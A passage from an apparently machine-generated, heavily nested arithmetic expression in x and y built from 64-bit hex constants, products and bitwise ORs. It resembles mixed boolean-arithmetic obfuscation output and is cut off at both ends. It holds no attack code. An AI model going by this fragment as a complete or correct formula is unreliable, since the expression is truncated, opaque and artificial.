0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-0x191e8edfbcf706a3)+0x3bbdd4b3bfa258d)-0xe6d36157c789618)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((-0x3399e33c88a2571)-((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))+0xe6d36157c789618)-0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))+((((-0x3399e33c88a2571)-(((((((((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7f04844afe)+((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d)|((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*(-0x3c7bc3b75fe4ee46))+0x3087f1d8b9e35a8d))*0xab158ca407e708b)))+0x3bbdd4b3bfa258d)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+0x3bbdd4b3bfa258d)-(((((-(((((-0x3399e33c88a2571)-(((((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758))+(((((((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b)))*(-0x61c21e24500d88dd))-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))-(((((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((-0x3399e33c88a2571)-((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723)))|((-(((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*(-0x67bc0713a30e52b9)))+(-0x765a595710882758)))-0x3bbdd4b3bfa258d))+(-0xab158ca407e708b))-((((-0x67bc0713a30e52ba)-(-((((((((-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+0xab158ca407e708b)+((((-0x67bc0713a30e52ba)-(-(((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)*-0x9e3de1dbaff27723)))|((-(((-0x3399e33c88a2571)-((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9)))*0xab158ca407e708b))*-0x9e3de1dbaff27723))-(-0x67bc0713a30e52b9))*0x2)*0xab158ca407e708b)+0x3bbdd4b3bfa258d)-(((((y*0xab158ca407e708b)+0x3bbdd4b3bfa258d)+((x*0xab158ca407e708b)+0x3bbdd4b3bfa258d))+0x6f57b7